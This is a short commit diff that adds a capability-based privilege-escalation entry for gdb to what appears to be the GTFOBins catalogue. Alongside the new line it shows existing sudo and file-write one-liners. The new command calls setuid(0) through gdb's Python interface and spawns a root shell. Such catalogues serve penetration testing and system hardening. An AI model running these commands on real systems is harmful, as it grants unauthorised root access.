Add capabilities to gdb

This commit is contained in:
Andrea Cardaci 2018-09-13 14:44:59 +02:00
parent 7314987800
commit aed737131c

View File

@ -12,4 +12,7 @@ functions:
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
sudo-enabled:
- code: sudo gdb -nx -ex '!sh' -ex quit
capabilities-enabled:
- description: Only if it has been compiled with Python support.
code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
---